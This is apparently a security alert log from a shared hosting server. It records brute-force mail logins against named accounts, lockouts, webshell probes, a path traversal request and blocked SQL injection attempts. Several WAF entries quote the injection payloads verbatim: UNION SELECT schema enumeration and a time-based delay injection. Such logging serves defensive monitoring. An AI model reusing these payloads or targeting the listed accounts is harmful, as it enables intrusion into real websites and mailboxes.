2026-02-01 22:40:01 dovecot_login authenticator failed for H=(qAUB1yttik) [178.16.52.139]:57548: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.254.26
country_id: 1814991
description:
2026-02-01 22:39:10 dovecot_login authenticator failed for H=([116.113.254.26]) [116.113.254.26]:56766: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.185.89.74
country_id: 1835841
description:
2026-02-01 22:39:54 dovecot_login authenticator failed for H=([121.185.89.74]) [121.185.89.74]:60000: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.34.14
country_id: 1562822
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/clientele.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:39:04 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63886: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:39:08 dovecot_login authenticator failed for H=(PQ3cX6E) [2.58.56.77]:54914: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:39:20 dovecot_login authenticator failed for H=(RzGxBJ) [178.16.52.139]:53044: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 22:39:43 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(178.16.54.22)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 22:40:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:40:23 dovecot_login authenticator failed for H=(Os3tZ6A) [158.94.208.175]:59999: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.168.79.156
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=233781 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-02-01 22:40:54 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:36626: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:40:15 dovecot_login authenticator failed for H=(avjd0c7Uy) [2.58.56.77]:53023: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:40:26 dovecot_login authenticator failed for H=(AqPjFF) [178.16.52.139]:52730: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 22:40:21 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 22:40:32 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(178.16.54.22)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 22:40:37 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:47362: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-02-01 22:40:40 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:34856: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.152.57.60
country_id: 2510769
description:
2026-02-01 22:40:04 dovecot_login authenticator failed for H=(cm-staticip-85-152-57-60.telecable.es) [85.152.57.60]:47644: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:40:05 dovecot_login authenticator failed for H=(c2bbREpMU) [178.16.54.22]:58939: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:40:13 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59489: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 22:41:48 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(178.16.54.22)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.238.92.245
country_id: 2623032
description:
2026-02-01 22:41:10 dovecot_plain authenticator failed for H=(enthilly) [84.238.92.245]:35406: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:41:13 dovecot_login authenticator failed for H=(O6LhL7) [178.16.54.22]:51239: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:41:25 dovecot_login authenticator failed for H=(vaai6GeZL) [2.58.56.77]:55912: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:41:09 dovecot_login authenticator failed for H=(Zt9YlV) [178.16.52.139]:58545: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:41:10 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57255: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 22:41:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:41:15 dovecot_login authenticator failed for H=(D8Qo0d2mio) [158.94.208.175]:55274: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 22:41:23 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:42:08 dovecot_login authenticator failed for H=(dq3ZbMEHB) [158.94.208.175]:62891: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77316746
name: IM360 WAF: Generic SQLi attempt
abuser: 125.230.215.196
country_id: 1668284
domain: nobledec.com
description:
IM360 WAF: Generic SQLi attempt||MVN:ARGS:id||MV:3063' and 5=6 union select 0x5e5b7d7e,0x5e5b7d7e,0x5e5b7d7e -- and '6'='6||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:42:13 dovecot_login authenticator failed for H=(t7gbhNC) [2.58.56.77]:56803: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:42:18 dovecot_login authenticator failed for H=(tMFFyBccg) [178.16.54.22]:59359: 535 Incorrect authentication data (set_id=alexchan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.159.71.249
country_id: 1835841
description:
2026-02-01 22:42:39 dovecot_login authenticator failed for H=([121.159.71.249]) [121.159.71.249]:43890: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 22:42:58 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:52854: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 22:42:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:42:18 dovecot_login authenticator failed for H=(diRWx53) [178.16.54.22]:60230: 535 Incorrect authentication data (set_id=michaelchin.vpb@vc-b.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 22:42:36 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(178.16.54.22)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:42:08 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49663: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:42:12 dovecot_login authenticator failed for H=(7JFGBVC) [178.16.52.139]:54784: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 125.230.215.196
country_id: 1668284
domain: nobledec.com
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:3063 and 5=6 union select 0x5e5b7d7e,0x5e5b7d7e,0x5e5b7d7e --||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 125.230.215.196
country_id: 1668284
domain: nobledec.com
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:3063 and 5=6 union select 0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E --||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 22:42:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: modsec
rule: 77316746
name: IM360 WAF: Generic SQLi attempt
abuser: 125.230.215.196
country_id: 1668284
domain: nobledec.com
description:
IM360 WAF: Generic SQLi attempt||MVN:ARGS:id||MV:3063' and 5=6 union select 0x5e5b7d7e,0x5e5b7d7e,0x5e5b7d7e,0x5e5b7d7e,0x5e5b7d7e,0x5e5b7d7e,0x5e5b7d7e,0x5e5b7d7e,0x5e5b7d7e,0x5e5b7d7e,0x5e5b7d7e,0x5e5b7d7e -- and '6'='6||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.228.231
country_id: 1269750
description:
2026-02-01 22:43:58 dovecot_login authenticator failed for H=(nsg-corporate-231.228.187.122.airtel.in) [122.187.228.231]:43274: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:43:03 dovecot_login authenticator failed for H=(ZPwiRe7z) [2.58.56.77]:50998: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:43:05 dovecot_login authenticator failed for H=(HaRlgXG) [178.16.54.22]:64677: 535 Incorrect authentication data (set_id=fkr)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 125.230.215.196
country_id: 1668284
domain: nobledec.com
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:3063 and 5=6 union select 0x5e5b7d7e,0x5e5b7d7e,0x5e5b7d7e,0x5e5b7d7e,0x5e5b7d7e,0x5e5b7d7e,0x5e5b7d7e,0x5e5b7d7e,0x5e5b7d7e,0x5e5b7d7e,0x5e5b7d7e,0x5e5b7d7e --||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 125.230.215.196
country_id: 1668284
domain: nobledec.com
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:3063 and 5=6 union select 0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E --||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.18.148.10
country_id: 1814991
description:
2026-02-01 22:43:24 dovecot_login authenticator failed for H=(hebei.18.121.in-addr.arpa) [121.18.148.10]:39288: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:43:27 dovecot_login authenticator failed for H=(bY2e46zPZY) [158.94.208.175]:57479: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 125.230.215.196
country_id: 1668284
domain: nobledec.com
description:
IM360 WAF: PHP Injection Low value||MV:3063' and 5=6 union select 1,2,3,concat(0x5E252421,count(8),0x2A5B7D2F),5,6,7,8,9,10,11,12,13,14 from (select `schema_name`,`default_character_set_name` from `information_schema`.`schemata`) t -- And '6'='6||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/nobledec/public_html/productdetails.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:43:09 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60489: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:43:11 dovecot_login authenticator failed for H=(Cs6ir5lZdq) [178.16.52.139]:56359: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 22:43:16 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 125.230.215.196
country_id: 1668284
domain: nobledec.com
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:3063' and 5=6 union select 1,2,3,concat(0x5E252421,count(8),0x2A5B7D2F),5,6,7,8,9,10,11,12,13,14 from (select `schema_name`,`default_character_set_name` from `information_schema`.`schemata`) t -- And '6'='6||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 22:44:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.203.231.220
country_id: 2464461
description:
2026-02-01 22:44:08 dovecot_login authenticator failed for H=([196.203.231.220]) [196.203.231.220]:56792: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 180.75.235.214
country_id: 1733045
description:
Feb  1 22:44:23 sv3 pure-ftpd[1188323]: (myfurnit@180.75.235.214) [NOTICE] /home/myfurnit//public_html/9pcmore8.html uploaded  (7488 bytes, 1017.61KB/sec)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.97.108
country_id: 1814991
description:
2026-02-01 22:45:00 dovecot_login authenticator failed for H=([111.61.97.108]) [111.61.97.108]:48484: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:44:06 dovecot_login authenticator failed for H=(tMQyUPjT) [178.16.52.139]:57781: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:44:19 dovecot_login authenticator failed for H=(iaTUbhlPxd) [158.94.208.175]:53248: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.8.120.90
country_id: 3469034
description:
2026-02-01 22:44:57 dovecot_login authenticator failed for H=(187-8-120-90.customer.tdatabrasil.net.br) [187.8.120.90]:54283: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 180.75.235.214
country_id: 1733045
description:
Feb  1 22:44:05 sv3 pure-ftpd[1188232]: (?@180.75.235.214) [INFO] New connection from 180.75.235.214


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:44:05 dovecot_login authenticator failed for H=(DjpQoDhhD) [2.58.56.77]:57658: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:44:09 dovecot_login authenticator failed for H=(Ap7vTIm) [178.16.54.22]:58032: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.173.105.206
country_id: 1814991
description:
2026-02-01 22:44:38 dovecot_login authenticator failed for H=([60.173.105.206]) [60.173.105.206]:35094: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:44:15 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62573: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:44:37 dovecot_login authenticator failed for H=(ldDL0EJV) [178.16.54.22]:50719: 535 Incorrect authentication data (set_id=fkr)


plugin: modsec
rule: 77211750
name: IM360 WAF: Detects Postgres pg_sleep injection waitfor delay attacks and database shutdown attempts
abuser: 125.230.193.35
country_id: 1668284
domain: nobledec.com
description:
IM360 WAF: Detects Postgres pg_sleep injection waitfor delay attacks and database shutdown attempts||MVN:ARGS:id||MV:3063 if(1=1) waitfor delay '0:0:7'--||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-02-01 22:45:22 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:56320: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:45:11 dovecot_login authenticator failed for H=(EoNF1laKKc) [158.94.208.175]:64730: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:45:13 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55412: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:45:07 dovecot_login authenticator failed for H=(J1mWQrXx) [178.16.52.139]:55552: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.187
country_id: 1814991
description:
2026-02-01 22:45:38 dovecot_login authenticator failed for H=([111.61.177.187]) [111.61.177.187]:16494: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.145.141
country_id: 1819730
description:
2026-02-01 22:45:43 dovecot_login authenticator failed for H=(223-197-145-141.static.imsbiz.com) [223.197.145.141]:62364: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77211700
name: IM360 WAF: Detects conditional SQL injection attempts
abuser: 125.230.193.35
country_id: 1668284
domain: nobledec.com
description:
IM360 WAF: Detects conditional SQL injection attempts||RSV:7.71||T:APACHE||MVN:MATCHED_VAR||MV:3063 if(1=1) waitfor delay '0:0:7'--||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 217.216.34.160
country_id: 1880251
domain: 42.0.28.70:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../../../../../tmp/index1 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 22:45:13 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:40232: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:45:15 dovecot_login authenticator failed for H=(LSUOk9CPl) [178.16.54.22]:63564: 535 Incorrect authentication data (set_id=alexchan)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 125.230.193.35
country_id: 1668284
domain: nobledec.com
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:3063 if(1=1) waitfor delay '0:0:7'--||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:45:17 dovecot_login authenticator failed for H=(TAFuco0AL) [2.58.56.77]:59972: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.193.70
country_id: 1814991
description:
2026-02-01 22:45:39 dovecot_login authenticator failed for H=([116.113.193.70]) [116.113.193.70]:19788: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 22:46:02 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:46:05 dovecot_login authenticator failed for H=(CJ2SUh) [178.16.52.139]:50443: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.84
country_id: 1835841
description:
2026-02-01 22:46:51 dovecot_login authenticator failed for H=([183.104.220.84]) [183.104.220.84]:51406: 535 Incorrect authentication data (set_id=webmaster@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.177.204.4
country_id: 1269750
description:
2026-02-01 22:46:52 dovecot_login authenticator failed for H=([103.177.204.4]) [103.177.204.4]:58540: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 22:46:33 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(178.16.54.22)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.120.176.6
country_id: 1835841
description:
2026-02-01 22:46:33 dovecot_login authenticator failed for H=([222.120.176.6]) [222.120.176.6]:40102: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.241.150.246
country_id: 2017370
description:
2026-02-01 22:46:43 dovecot_login authenticator failed for H=91-241-150-246-dyn.neotele.com.ru [91.241.150.246]:50461: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:46:04 dovecot_login authenticator failed for H=(QOny7qqAsx) [158.94.208.175]:51246: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:46:06 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64292: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:46:08 dovecot_login authenticator failed for H=(N71zCPykL) [178.16.54.22]:58646: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:46:24 dovecot_login authenticator failed for H=(JTBaLuI) [2.58.56.77]:52586: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/images/sliders/cdn-cgi/l/company.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:47:24 dovecot_login authenticator failed for H=(Jjg64waTpc) [158.94.208.175]:60397: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 22:47:30 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:50696: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.186.136.36
country_id: 1814991
description:
2026-02-01 22:47:50 dovecot_login authenticator failed for H=([61.186.136.36]) [61.186.136.36]:56778: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.194.131
country_id: 2017370
description:
2026-02-01 22:47:17 dovecot_login authenticator failed for H=([178.178.194.131]) [178.178.194.131]:60124: 535 Incorrect authentication data (set_id=webmaster)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 22:47:22 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:47:26 dovecot_login authenticator failed for H=(y4a6hx) [178.16.54.22]:51728: 535 Incorrect authentication data (set_id=alexchan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.173.105.206
country_id: 1814991
description:
2026-02-01 22:47:45 dovecot_login authenticator failed for H=([60.173.105.206]) [60.173.105.206]:37863: 535 Incorrect authentication data (set_id=support@essemgroup.net)


